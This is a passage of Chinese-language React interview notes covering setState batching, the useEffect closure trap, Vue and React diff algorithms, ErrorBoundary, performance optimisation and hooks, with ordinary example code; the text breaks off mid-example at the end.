patch(vnode,newVnode)
2.组件更新过程
patch
更新被分为两个阶段- reconciliation阶段:执行
diff
算法,纯JS
计算 - commit阶段:将
diff
结果渲染到DOM
中
- reconciliation阶段:执行
- 如果不拆分,可能有性能问题
JS
是单线程的,且和DOM
渲染共用一个线程- 当组件足够复杂,组件更新时计算和渲染都压力大
- 同时再有
DOM
操作需求(动画、鼠标拖拽等)将卡顿
- 解决方案Fiber
reconciliation
阶段拆分为多个子任务DOM
需要渲染时更新,空闲时恢复在执行计算- 通过
window.requestIdleCallback
来判断浏览器是否空闲
# React setState经典面试题
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
componentDidMount() {
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 1 次 log
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 2 次 log
setTimeout(() => {
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 3 次 log
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 4 次 log
}, 0)
}
render() {
return null
}
}
// 答案
0
0
2
3
- 关于setState的两个考点
- 同步或异步
state
合并或不合并setState
传入函数不会合并覆盖setState
传入对象会合并覆盖Object.assigin({})
- 分析
- 默认情况
state
默认异步更新state
默认合并后更新(后面的覆盖前面的,多次重复执行不会累加)
setState
在合成事件和生命周期钩子中,是异步更新的- react同步更新,不在react上下文中触发
- 在
原生事件
、setTimeout
、setInterval
、promise.then
、Ajax
回调中,setState
是同步的,可以马上获取更新后的值- 原生事件如
document.getElementById('test').addEventListener('click',()=>{this.setState({count:this.state.count + 1}})
- 原生事件如
- 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而
setTimeout
是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步
- 在
- 注意:在react18中不一样
- 上述场景,在
react18
中可以异步更新(Auto Batch
) - 需将
ReactDOM.render
替换为ReactDOM.createRoot
- 上述场景,在
- 默认情况
如需要实时获取结果,在回调函数中获取
setState({count:this.state.count + 1},()=>console.log(this.state.count)})
// setState原理模拟
let isBatchingUpdate = true;
let queue = [];
let state = {number:0};
function setState(newSate){
//state={...state,...newSate}
// setState异步更新
if(isBatchingUpdate){
queue.push(newSate);
}else{
// setState同步更新
state={...state,...newSate}
}
}
// react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
// 模拟react中事件点击
function handleClick(){
isBatchingUpdate=true; // 批量更新标志
/**我们自己逻辑开始 */
setState({number:state.number+1});
setState({number:state.number+1});
console.log(state); // 0
setState({number:state.number+1});
console.log(state); // 0
/**我们自己逻辑结束 */
state= queue.reduce((newState,action)=>{
return {...newState,...action}
},state);
}
handleClick();
console.log(state); // 1
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
// componentDidMount中isBatchingUpdate=true setState批量更新
componentDidMount() {
// setState传入对象会合并,后面覆盖前面的Object.assign({})
this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
console.log(this.state.val)
// 第 1 次 log
this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
console.log(this.state.val)
// 第 2 次 log
setTimeout(() => {
// 到这里this.state.val结果等于1了
// 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
this.setState({ val: this.state.val + 1 }) // 同步更新
console.log(this.state.val)
// 第 3 次 log
this.setState({ val: this.state.val + 1 }) // 同步更新
console.log(this.state.val)
// 第 4 次 log
}, 0)
}
render() {
return null
}
}
// 答案:0, 0, 2, 3
在
React 18
之前,setState
在React
的合成事件中是合并更新的,在setTimeout
的原生事件中是同步按序更新的。例如
handleClick = () => {
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 0
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 0
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 0
setTimeout(() => {
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 2
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 3
});
};
而在
React 18
中,不论是在合成事件中,还是在宏任务中,都是会合并更新
function handleClick() {
setState({ age: state.age + 1 }, onePriority);
console.log(state.age);// 0
setState({ age: state.age + 1 }, onePriority);
console.log(state.age); // 0
setTimeout(() => {
setState({ age: state.age + 1 }, towPriority);
console.log(state.age); // 1
setState({ age: state.age + 1 }, towPriority);
console.log(state.age); // 1
});
}
// 拓展:setState传入函数不会合并
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
componentDidMount() {
this.setState((prevState,props)=>{
return {val: prevState.val + 1}
})
console.log(this.state.val) // 0
// 第 1 次 log
this.setState((prevState,props)=>{ // 传入函数,不会合并覆盖前面的
return {val: prevState.val + 1}
})
console.log(this.state.val) // 0
// 第 2 次 log
setTimeout(() => {
// setTimeout中setState同步执行
// 到这里this.state.val结果等于2了
this.setState({ val: this.state.val + 1 })
console.log(this.state.val) // 3
// 第 3 次 log
this.setState({ val: this.state.val + 1 })
console.log(this.state.val) // 4
// 第 4 次 log
}, 0)
}
render() {
return null
}
}
// 答案:0 0 3 4
// react hooks中打印
function useStateDemo() {
const [value, setValue] = useState(100)
function clickHandler() {
// 1.传入常量,state会合并
setValue(value + 1)
setValue(value + 1)
console.log(1, value) // 100
// 2.传入函数,state不会合并
setValue(value=>value + 1)
setValue(value=>value + 1)
console.log(2, value) // 100
// 3.setTimeout中,React18也开始合并state(之前版本会同步更新、不合并)
setTimeout(()=>{
setValue(value + 1)
setValue(value + 1)
console.log(3, value) // 100
setValue(value + 1)
})
// 4.同理 setTimeout中,传入函数不合并
setTimeout(()=>{
setValue(value => value + 1)
setValue(value => value + 1)
console.log(4, value) // 100
})
}
return (
<button onClick={clickHandler}>点击 {value}</button>
)
}
连环问:setState是宏任务还是微任务
- setState本质是同步的
setState
是同步的,不过让react
做成异步更新的样子而已- 如果
setState
是微任务,就不应该在promise.then
微任务之前打印出来(promise then
微任务先注册)
- 如果
- 因为要考虑性能,多次
state
修改,只进行一次DOM
渲染 - 日常所说的“异步”是不严谨的,但沟通成本低
- 总结
setState
是同步执行,state
都是同步更新(只是我们日常把setState
当异步来处理)- 在微任务
promise.then
之前,state
已经计算完了 - 同步,不是微任务或宏任务
import React from 'react'
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
clickHandler = () => {
// react事件中 setState异步执行
console.log('--- start ---')
Promise.resolve().then(() => console.log('promise then') /* callback */)
// “异步”
this.setState(
{ val: this.state.val + 1 },
() => { console.log('state callback...', this.state) } // callback
)
console.log('--- end ---')
// 结果:
// start
// end
// state callback {val:1}
// promise then
// 疑问?
// promise then微任务先注册的,按理应该先打印promise then再到state callback
// 因为:setState本质是同步的,不过让react做成异步更新的样子而已
// 因为要考虑性能,多次state修改,只进行一次DOM渲染
}
componentDidMount() {
setTimeout(() => {
// setTimeout中setState是同步更新
console.log('--- start ---')
Promise.resolve().then(() => console.log('promise then'))
this.setState(
{ val: this.state.val + 1 }
)
console.log('state...', this.state)
console.log('--- end ---')
})
// 结果:
// start
// state {val:1}
// end
// promise then
}
render() {
return <p id="p1" onClick={this.clickHandler}>
setState demo: {this.state.val}
</p>
}
}
# React useEffect闭包陷阱问题
问:按钮点击三次后,定时器输出什么?
function useEffectDemo() {
const [value,setValue] = useState(0)
useEffect(()=>{
setInterval(()=>{
console.log(value)
},1000)
}, [])
const clickHandler = () => {
setValue(value + 1)
}
return (
<div>
value: {value} <button onClick={clickHandler}>点击</button>
</div>
)
}
答案一直是
0
useEffect
闭包陷阱问题,useEffect
依赖是空的,只会执行一次。setInterval
中的value
就只会获取它之前的变量。而react
有个特点,每次value
变化都会重新执行useEffectDemo
这个函数。点击了三次函数会执行三次,三次过程中每个函数中value
都不一样,setInterval
获取的永远是第一个函数里面的0
// 追问:怎么才能打印出3?
function useEffectDemo() {
const [value,setValue] = useState(0)
useEffect(()=>{
const timer = setInterval(()=>{
console.log(value) // 3
},1000)
return ()=>{
clearInterval(timer) // value变化会导致useEffectDemo函数多次执行,多次执行需要清除上一次的定时器,否则多次注册定时器
}
}, [value]) // 这里增加依赖项,每次依赖变化都会重新执行
const clickHandler = () => {
setValue(value + 1)
}
return (
<div>
value: {value} <button onClick={clickHandler}>点击</button>
</div>
)
}
# Vue React diff 算法有什么区别
diff 算法
Vue React diff
不是对比文字,而是vdom
树,即tree diff
- 传统的
tree diff
算法复杂度是O(n^3)
,算法不可用。
优化
Vue React
都是用于网页开发,基于DOM
结构,对diff
算法都进行了优化(或者简化)
- 只在同一层级比较,不跨层级(
DOM
结构的变化,很少有跨层级移动) tag
不同则直接删掉重建,不去对比内部细节(DOM
结构变化,很少有只改外层,不改内层)- 同一个节点下的子节点,通过
key
区分
最终把时间复杂度降低到
O(n)
,生产环境下可用。这一点Vue React
都是相同的。
React diff 特点 - 仅向右移动
比较子节点时,仅向右移动,不向左移动。
Vue2 diff 特点 - 双端比较
定义四个指针,分别比较
oldStartNode
和newStartNode
头头oldStartNode
和newEndNode
头尾oldEndNode
和newStartNode
尾头oldEndNode
和newEndNode
尾尾
然后指针继续向中间移动,直到指针汇合
Vue3 diff 特点 - 最长递增子序列
例如数组
[3,5,7,1,2,8]
的最长递增子序列就是[3,5,7,8 ]
。这是一个专门的算法。
算法步骤
- 通过“前-前”比较找到开始的不变节点
[A, B]
- 通过“后-后”比较找到末尾的不变节点
[G]
- 剩余的有变化的节点
[F, C, D, E, H]
- 通过
newIndexToOldIndexMap
拿到oldChildren
中对应的index
[5, 2, 3, 4, -1]
(-1
表示之前没有,要新增) - 计算最长递增子序列得到
[2, 3, 4]
,对应的就是[C, D, E]
,即这些节点可以不变 - 剩余的节点,根据
index
进行新增、删除
- 通过
该方法旨在尽量减少
DOM
的移动,达到最少的DOM操作
。
总结
React diff
特点 - 仅向右移动Vue2 diff
特点 -updateChildren
双端比较Vue3 diff
特点 -updateChildren
增加了最长递增子序列,更快Vue3
增加了patchFlag
、静态提升、函数缓存等
连环问:diff 算法中 key 为何如此重要
无论在 Vue
还是 React 中,key
的作用都非常大。以 React
为例,是否使用 key
对内部 DOM
变化影响非常大。
<ul>
<li v-for="(index, num) in nums" :key="index">
{{num}}
</li>
</ul>
const todoItems = todos.map((todo) =>
<li key={todo.id}>
{todo.text}
</li>
)
# 如何统一监听React组件报错
- ErrorBoundary组件
- 在
react16
版本之后,增加了ErrorBoundary
组件 - 监听所有
下级组件
报错,可降级展示UI
- 只监听组件渲染时报错,不监听
DOM
事件错误、异步错误ErrorBoundary
没有办法监听到点击按钮时候的在click
的时候报错- 只能监听组件从一开始渲染到渲染成功这段时间报错,渲染成功后在怎么操作产生的错误就不管了
- 可用
try catch
或者window.onerror
(二选一)
- 只在
production
环境生效(需要打包之后查看效果),dev
会直接抛出错误
- 在
- 总结
ErrorBoundary
监听组件渲染报错- 事件报错使用
try catch
或window.onerror
- 异步报错使用
window.onerror
// ErrorBoundary.js
import React from 'react'
class ErrorBoundary extends React.Component {
constructor(props) {
super(props)
this.state = {
error: null // 存储当前的报错信息
}
}
static getDerivedStateFromError(error) {
// 更新 state 使下一次渲染能够显示降级后的 UI
console.info('getDerivedStateFromError...', error)
return { error } // return的信息会等于this.state的信息
}
componentDidCatch(error, errorInfo) {
// 统计上报错误信息
console.info('componentDidCatch...', error, errorInfo)
}
render() {
if (this.state.error) {
// 提示错误
return <h1>报错了</h1>
}
// 没有错误,就渲染子组件
return this.props.children
}
}
// index.js 中使用
import React from 'react';
import ReactDOM from 'react-dom';
import App from './App';
import ErrorBoundary from './ErrorBoundary'
ReactDOM.render(
<React.StrictMode>
<ErrorBoundary>
<App />
</ErrorBoundary>
</React.StrictMode>,
document.getElementById('root')
);
# 在实际工作中,你对React做过哪些优化
- 修改CSS模拟v-show
// 原始写法 {!flag && <MyComonent style={{display:'none'}} />} {flag && <MyComonent />} // 模拟v-show {<MyComonent style={{display:flag ? 'block' : 'none'}} />}
- 循环使用key
key
不要用index
- 使用Flagment或<></>空标签包裹减少多个层级组件的嵌套
- jsx中不要定义函数:
JSX
会被频繁执行的// bad // react中的jsx被频繁执行(state更改)应该避免函数被多次新建 <button onClick={()=>{}}>点击</button> // goods function useButton() { const handleClick = ()=>{} return <button onClick={handleClick}>点击</button> }
- 使用shouldComponentUpdate
- 判断组件是否需要更新
- 或者使用
React.PureComponent
比较props
第一层属性 - 函数组件使用
React.memo(comp, fn)
包裹function fn(prevProps,nextProps) {// 自己实现对比,像shouldComponentUpdate}
- Hooks缓存数据和函数
useCallback
: 缓存回调函数,避免传入的回调每次都是新的函数实例而导致依赖组件重新渲染,具有性能优化的效果useMemo
: 用于缓存传入的props
,避免依赖的组件每次都重新渲染
- 使用异步组件
import React,{lazy,Suspense} from 'react' const OtherComp = lazy(/**webpackChunkName:'OtherComp'**/ ()=>import('./otherComp')) function MyComp(){ return ( <Suspense fallback={<div>loading...</div>}> <OtherComp /> </Suspense> ) }
- 路由懒加载
import React,{lazy,Suspense} from 'react' import {BrowserRouter as Router,Route, Switch} from 'react-router-dom' const Home = lazy(/**webpackChunkName:'h=Home'**/()=>import('./Home')) const List = lazy(/**webpackChunkName:'List'**/()=>import('./List')) const App = ()=>( <Router> <Suspense fallback={<div>loading...</div>}> <Switch> <Route exact path='/' component={Home} /> <Route exact path='/list' component={List} /> </Switch> </Suspense> </Router> )
- 使用SSR:
Next.js
连环问:你在使用React时遇到过哪些坑
自定义组件的名称首字母要大写
// 原生html组件 <input /> // 自定义组件 <Input />
JS关键字的冲突
// for改成htmlFor,class改成className <label htmlFor="input-name" className="label"> 用户名 <input id="username" /> </label>
JSX数据类型
// correct <Demo flag={true} /> // error <Demo flag="true" />
setState不会马上获取最新的结果
- 如需要实时获取结果,在回调函数中获取
setState({count:this.state.count + 1},()=>console.log(this.state.count)})
setState
在合成事件和生命周期钩子中,是异步更新的- 在原生事件和
setTimeout
中,setState
是同步的,可以马上获取更新后的值; - 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而
setTimeout
是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步;
// setState原理模拟 let isBatchingUpdate = true; let queue = []; let state = {number:0}; function setState(newSate){ //state={...state,...newSate} // setState异步更新 if(isBatchingUpdate){ queue.push(newSate); }else{ // setState同步更新 state={...state,...newSate} } } // react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true // 模拟react中事件点击 function handleClick(){ isBatchingUpdate=true; // 批量更新标志 /**我们自己逻辑开始 */ setState({number:state.number+1}); setState({number:state.number+1}); console.log(state); // 0 setState({number:state.number+1}); console.log(state); // 0 /**我们自己逻辑结束 */ state= queue.reduce((newState,action)=>{ return {...newState,...action} },state); } handleClick(); console.log(state); // 1
// setState笔试题考察 下面这道题输出什么 class Example extends React.Component { constructor() { super() this.state = { val: 0 } } // componentDidMount中isBatchingUpdate=true setState批量更新 componentDidMount() { this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理 console.log(this.state.val) // 第 1 次 log this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理 console.log(this.state.val) // 第 2 次 log setTimeout(() => { // 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值 this.setState({ val: this.state.val + 1 }) // 同步更新 console.log(this.state.val) // 第 3 次 log this.setState({ val: this.state.val + 1 }) // 同步更新 console.log(this.state.val) // 第 4 次 log }, 0) } render() { return null } } // 答案:0, 0, 2, 3
- 如需要实时获取结果,在回调函数中获取
# React真题
1. 函数组件和class组件区别
- 纯函数,输入
props
,输出JSX
- 没有实例、没有生命周期、没有
state
- 不能拓展其他方法
2. 什么是受控组件
- 表单的值,受到
state
控制 - 需要自行监听
onChange
,更新state
- 对比非受控组件
3. 何时使用异步组件
- 加载大组件
- 路由懒加载
4. 多个组件有公共逻辑如何抽离
HOC
高阶组件Render Props
React Hooks
5. react router如何配置懒加载
# React和Vue的区别(常考)
共同
- 都支持组件化
- 都是数据驱动视图
- 都用
vdom
操作DOM
区别
React
使用JSX
拥抱JS
,Vue
使用模板拥抱HTML
React
函数式编程,Vue
是声明式编程React
更多的是自力更生,Vue
把你想要的都给你
当比较React和Vue时,以下是一些详细的区别:
- 构建方式:
- React:React是一个用于构建用户界面的JavaScript库。它使用JSX语法,将组件的结构和逻辑放在一起,通过组件的嵌套和组合来构建应用程序。
- Vue:Vue是一个渐进式框架,可以用于构建整个应用程序或仅用于特定页面的一部分。它使用模板语法,将HTML模板和JavaScript代码分离,通过指令和组件来构建应用程序。
- 学习曲线:
- React:React相对来说更加灵活和底层,需要对JavaScript和JSX有一定的了解。它提供了更多的自由度和灵活性,但也需要更多的学习和理解。
- Vue:Vue则更加简单和易于上手,它使用了模板语法和一些特定的概念,使得学习和使用起来更加直观。Vue的文档和教程也非常友好和详细。
- 数据绑定:
- React:React使用单向数据流,通过props将数据从父组件传递到子组件。如果需要在子组件中修改数据,需要通过回调函数来实现。
- Vue:Vue支持双向数据绑定,可以通过v-model指令实现数据的双向绑定。这使得在Vue中处理表单和用户输入更加方便。
- 组件化开发:
- React:React的组件化开发非常灵活,组件可以通过props接收数据,通过state管理内部状态。React还提供了生命周期方法,可以在组件的不同阶段执行特定的操作。
- Vue:Vue的组件化开发也非常强大,组件可以通过props接收数据,通过data属性管理内部状态。Vue还提供了生命周期钩子函数,可以在组件的不同阶段执行特定的操作。
- 生态系统:
- React:React拥有庞大的生态系统,有许多第三方库和工具可供选择。React还有一个强大的社区支持,提供了大量的教程、文档和示例代码。
- Vue:Vue的生态系统也很活跃,虽然相对React来说规模较小,但也有许多第三方库和工具可供选择。Vue的文档和教程也非常友好和详细。
- 性能:
- React:React通过虚拟DOM(Virtual DOM)和高效的diff算法来提高性能。它只更新需要更新的部分,减少了对实际DOM的操作次数。
- Vue:Vue也使用虚拟DOM来提高性能,但它采用了更细粒度的观察机制,可以精确追踪数据的变化,从而减少不必要的更新操作。
# 7 React Hooks
# class组件存在哪些问题
- 函数组件的特点
- 没有组件实例
- 没有生命周期
- 没有
state
和setState
,只能接收props
- class组件问题
- 大型组件很难拆分和重构,很难测试
- 相同的业务逻辑分散到各个方法中,逻辑混乱
- 复用逻辑变得复杂,如
Mixins
、HOC
、Render Props
- react组件更易用函数表达
- React提倡函数式编程,
View = fn(props)
- 函数更灵活,更易于拆分,更易测试
- 但函数组件太简单,需要增强能力—— 使用
hooks
- React提倡函数式编程,
# 用useState实现state和setState功能
让函数组件实现state和setState
- 默认函数组件没有
state
- 函数组件是一个纯函数,执行完即销毁,无法存储
state
- 需要
state hook
,即把state
“钩”到纯函数中(保存到闭包中)
hooks命名规范
- 规定所有的
hooks
都要以use
开头,如useXX
- 自定义
hook
也要以use
开头
// 使用hooks
import React, { useState } from 'react'
function ClickCounter() {
// 数组的解构
// useState 就是一个 Hook “钩”,最基本的一个 Hook
const [count, setCount] = useState(0) // 传入一个初始值
const [name, setName] = useState('test')
// const arr = useState(0)
// const count = arr[0]
// const setCount = arr[1]
function clickHandler() {
setCount(count + 1)
setName(name + '2020')
}
return <div>
<p>你点击了 {count} 次 {name}</p>
<button onClick={clickHandler}>点击</button>
</div>
}
export default ClickCounter
// 使用class
import React from 'react'
class ClickCounter extends React.Component {
constructor() {
super()
// 定义 state
this.state = {
count: 0,
name: 'test'
}
}
render() {
return <div>
<p>你点击了 {this.state.count} 次 {this.state.name}</p>
<button onClick={this.clickHandler}>点击</button>
</div>
}
clickHandler = ()=> {
// 修改 state
this.setState({
count: this.state.count + 1,
name: this.state.name + '2020'
})
}
}
export default ClickCounter
# 用useEffect模拟组件生命周期
让函数组件模拟生命周期
- 默认函数组件没有生命周期
- 函数组件是一个纯函数,执行完即销毁,自己无法实现生命周期
- 使用
Effect Hook
把生命周期"钩"到纯函数中
useEffect让纯函数有了副作用
- 默认情况下,执行纯函数,输入参数,返回结果,无副作用
- 所谓副作用,就是对函数之外造成影响,如设置全局定时器
- 而组件需要副作用,所以需要有
useEffect
钩到纯函数中
总结
- 模拟
componentDidMount
,useEffect
依赖[]
- 模拟
componentDidUpdate
,useEffect
依赖[a,b]
或者useEffect(fn)
没有写第二个参数 - 模拟
componentWillUnmount
,useEffect
返回一个函数 - 注意
useEffect(fn)
没有写第二个参数:同时模拟componentDidMount
+componentDidUpdate
import React, { useState, useEffect } from 'react'
function LifeCycles() {
const [count, setCount] = useState(0)
const [name, setName] = useState('test')
// // 模拟 class 组件的 DidMount 和 DidUpdate
// useEffect(() => {
// console.log('在此发送一个 ajax 请求')
// })
// // 模拟 class 组件的 DidMount
// useEffect(() => {
// console.log('加载完了')
// }, []) // 第二个参数是 [] (不依赖于任何 state)
// // 模拟 class 组件的 DidUpdate
// useEffect(() => {
// console.log('更新了')
// }, [count, name]) // 第二个参数就是依赖的 state
// 模拟 class 组件的 DidMount
useEffect(() => {
let timerId = window.setInterval(() => {
console.log(Date.now())
}, 1000)
// 返回一个函数
// 模拟 WillUnMount
return () => {
window.clearInterval(timerId)
}
}, [])
function clickHandler() {
setCount(count + 1)
setName(name + '2020')
}
return <div>
<p>你点击了 {count} 次 {name}</p>
<button onClick={clickHandler}>点击</button>
</div>
}
export default LifeCycles
# 用useEffect模拟WillUnMount时的注意事项
useEffect中返回函数
useEffect
依赖项[]
,组件销毁时执行fn
,等于willUnmount
useEffect
第二个参数没有或依赖项[a,b]
,组件更新时执行fn
,即下次执行useEffect
之前,就会执行fn
,无论更新或卸载(props
更新会导致willUnmount
多次执行)
import React from 'react'
class FriendStatus extends React.Component {
constructor(props) {
super(props)
this.state = {
status: false // 默认当前不在线
}
}
render() {
return <div>
好友 {this.props.friendId} 在线状态:{this.state.status}
</div>
}
componentDidMount() {
console.log(`开始监听 ${this.props.friendId} 的在线状态`)
}
componentWillUnMount() {
console.log(`结束监听 ${this.props.friendId} 的在线状态`)
}
// friendId 更新
componentDidUpdate(prevProps) {
console.log(`结束监听 ${prevProps.friendId} 在线状态`)
console.log(`开始监听 ${this.props.friendId} 在线状态`)
}
}
export default FriendStatus
import React, { useState, useEffect } from 'react'
function FriendStatus({ friendId }) {
const [status, setStatus] = useState(false)
// DidMount 和 DidUpdate
useEffect(() => {
console.log(`开始监听 ${friendId} 在线状态`)
// 【特别注意】
// 此处并不完全等同于 WillUnMount
// props 发生变化,即更新,也会执行结束监听
// 准确的说:返回的函数,会在下一次 effect 执行之前,被执行
return () => {
console.log(`结束监听 ${friendId} 在线状态`)
}
})
return <div>
好友 {friendId} 在线状态:{status.toString()}
</div>
}
export default FriendStatus
# useRef和useContext
1. useRef
import React, { useRef, useEffect } from 'react'
function UseRef() {
const btnRef = useRef(null) // 初始值
// const numRef = useRef(0)
// numRef.current
useEffect(() => {
console.log(btnRef.current) // DOM 节点
}, [])
return <div>
<button ref={btnRef}>click</button>
</div>
}
export default UseRef
2. useContext
import React, { useContext } from 'react'
// 主题颜色
const themes = {
light: {
foreground: '#000',
background: '#eee'
},
dark: {
foreground: '#fff',
background: '#222'
}
}
// 创建 Context
const ThemeContext = React.createContext(themes.light) // 初始值
function ThemeButton() {
const theme = useContext(ThemeContext)
return <button style={{ background: theme.background, color: theme.foreground }}>
hello world
</button>
}
function Toolbar() {
return <div>
<ThemeButton></ThemeButton>
</div>
}
function App() {
return <ThemeContext.Provider value={themes.dark}>
<Toolbar></Toolbar>
</ThemeContext.Provider>
}
export default App
# useReducer能代替redux吗
useReducer
是useState
的代替方案,用于state
复杂变化useReducer
是单个组件状态管理,组件通讯还需要props
redux
是全局的状态管理,多组件共享数据
import React, { useReducer } from 'react'
const initialState = { count: 0 }
const reducer = (state, action) => {
switch (action.type) {
case 'increment':
return { count: state.count + 1 }
case 'decrement':
return { count: state.count - 1 }
default:
return state
}
}
function App() {
// 很像 const [count, setCount] = useState(0)
const [state, dispatch] = useReducer(reducer, initialState)
return <div>
count: {state.count}
<button onClick={() => dispatch({ type: 'increment' })}>increment</button>
<button onClick={() => dispatch({ type: 'decrement' })}>decrement</button>
</div>
}
export default App
# 使用useMemo做性能优化
- 状态变化,React会默认更新所有子组件
class
组件使用shouldComponentUpdate
和PureComponent
优化Hooks
中使用useMemo
缓存对象,避免子组件更新useMemo
需要配合React.memo
使用才生效
import React, { useState, memo, useMemo } from 'react'
// 子组件
// function Child({ userInfo }) {
// console.log('Child render...', userInfo)
// return <div>
// <p>This is Child {userInfo.name} {userInfo.age}</p>
// </div>
// }
// 类似 class PureComponent ,对 props 进行浅层比较
const Child = memo(({ userInfo }) => {
console.log('Child render...', userInfo)
return <div>
<p>This is Child {userInfo.name} {userInfo.age}</p>
</div>
})
// 父组件
function App() {
console.log('Parent render...')
const [count, setCount] = useState(0)
const [name, setName] = useState('test')
// const userInfo = { name, age: 20 }
// 用 useMemo 缓存数据,有依赖
// useMemo包裹后返回的对象是同一个,没有创建新的对象地址,不会触发子组件的重新渲染
const userInfo = useMemo(() => {
return { name, age: 21 }
}, [name])
return <div>
<p>
count is {count}
<button onClick={() => setCount(count + 1)}>click</button>
</p>
<Child userInfo={userInfo}></Child>
</div>
}
export default App
# 使用useCallback做性能优化
Hooks
中使用useCallback
缓存函数,避免子组件更新useCallback
需要配合React.memo
使用才生效
import React, { useState, memo, useMemo, useCallback } from 'react'
// 子组件,memo 相当于 PureComponent
const Child = memo(({ userInfo, onChange }) => {
console.log('Child render...', userInfo)
return <div>
<p>This is Child {userInfo.name} {userInfo.age}</p>
<input onChange={onChange}></input>
</div>
})
// 父组件
function App() {
console.log('Parent render...')
const [count, setCount] = useState(0)
const [name, setName] = useState('test')
// 用 useMemo 缓存数据
const userInfo = useMemo(() => {
return { name, age: 21 }
}, [name])
// function onChange(e) {
// console.log(e.target.value)
// }
// 用 useCallback 缓存函数,避免在组件多次渲染中多次创建函数导致引用地址不一致
const onChange = useCallback(e => {
console.log(e.target.value)
}, [])
return <div>
<p>
count is {count}
<button onClick={() => setCount(count + 1)}>click</button>
</p>
<Child userInfo={userInfo} onChange={onChange}></Child>
</div>
}
export default App
# 什么是自定义Hook
- 封装通用的功能
- 开发和使用第三方
Hooks
- 自定义
Hooks
带来无限的拓展性,解耦代码
import { useState, useEffect } from 'react'
import axios from 'axios'
// 封装 axios 发送网络请求的自定义 Hook
function useAxios(url) {
const [loading, setLoading] = useState(false)
const [data, setData] = useState()
const [error, setError] = useState()
useEffect(() => {
// 利用 axios 发送网络请求
setLoading(true)
axios.get(url) // 发送一个 get 请求
.then(res => setData(res))
.catch(err => setError(err))
.finally(() => setLoading(false))
}, [url])
return [loading, data, error]
}
export default useAxios
// 第三方 Hook
// https://nikgraf.github.io/react-hooks/
// https://github.com/umijs/hooks
import { useState, useEffect } from 'react'
function useMousePosition() {
const [x, setX] = useState(0)
const [y, setY] = useState(0)
useEffect(() => {
function mouseMoveHandler(event) {
setX(event.clientX)
setY(event.clientY)
}
// 绑定事件
document.body.addEventListener('mousemove', mouseMoveHandler)
// 解绑事件
return () => document.body.removeEventListener('mousemove', mouseMoveHandler)
}, [])
return [x, y]
}
export default useMousePosition
// 使用
function App() {
const url = 'http://localhost:3000/'
// 数组解构
const [loading, data, error] = useAxios(url)
if (loading) return <div>loading...</div>
return error
? <div>{JSON.stringify(error)}</div>
: <div>{JSON.stringify(data)}</div>
// const [x, y] = useMousePosition()
// return <div style={{ height: '500px', backgroundColor: '#ccc' }}>
// <p>鼠标位置 {x} {y}</p>
// </div>
}
# 使用Hooks的两条重要规则
- 只能用于函数组件和自定义
Hook
中,其他地方不可以 - 只能用于顶层代码,不能在判断、循环中使用
Hooks
eslint
插件eslint-plugin-react-hooks
可以帮助检查Hooks
的使用规则
# 为何Hooks要依赖于调用顺序
- 无论是
render
还是re-render
,Hooks
调用顺序必须一致 - 如果
Hooks
出现在循环、判断里,则无法保证顺序一致 Hooks
严重依赖调用顺序
import React, { useState, useEffect } from 'react'
function Teach({ couseName }) {
// 函数组件,纯函数,执行完即销毁
// 所以,无论组件初始化(render)还是组件更新(re-render)
// 都会重新执行一次这个函数,获取最新的组件
// 这一点和 class 组件不一样:有组件实例,组件实例一旦声声明不会销毁(除非组件销毁)
// render: 初始化 state 的值 '张三'
// re-render: 读取 state 的值 '张三'
const [studentName, setStudentName] = useState('张三')
// if (couseName) {
// const [studentName, setStudentName] = useState('张三')
// }
// render: 初始化 state 的值 'poetry'
// re-render: 读取 state 的值 'poetry'
const [teacherName, setTeacherName] = useState('poetry')
// if (couseName) {
// useEffect(() => {
// // 模拟学生签到
// localStorage.setItem('name', studentName)
// })
// }
// render: 添加 effect 函数
// re-render: 替换 effect 函数(内部的函数也会重新定义)
useEffect(() => { // 内部函数执行完就销毁
// 模拟学生签到
localStorage.setItem('name', studentName)
})
// render: 添加 effect 函数
// re-render: 替换 effect 函数(内部的函数也会重新定义)
useEffect(() => {// 内部函数执行完就销毁
// 模拟开始上课
console.log(`${teacherName} 开始上课,学生 ${studentName}`)
})
return <div>
课程:{couseName},
讲师:{teacherName},
学生:{studentName}
</div>
}
export default Teach
# class组件逻辑复用有哪些问题
- 高级组件HOC
- 组件嵌套层级过多,不易于渲染、调试
HOC
会劫持props
,必须严格规范
- Render Props
- 学习成本高,不利于理解
- 只能传递纯函数,而默认情况下纯函数功能有限
# Hooks组件逻辑复用有哪些好处
- 变量作用域很明确
- 不会产生组件嵌套
# Hooks使用中的几个注意事项
useState
初始化值,只有第一次有效useEffect
内部不能修改state
,第二个参数需要是空的依赖[]
useEffect
可能出现死循环,依赖[]
里面有对象、数组等引用类型,把引用类型拆解为值类型
// 第一个坑:`useState`初始化值,只有第一次有效
import React, { useState } from 'react'
// 子组件
function Child({ userInfo }) {
// render: 初始化 state
// re-render: 只恢复初始化的 state 值,不会再重新设置新的值
// 只能用 setName 修改
const [ name, setName ] = useState(userInfo.name)
return <div>
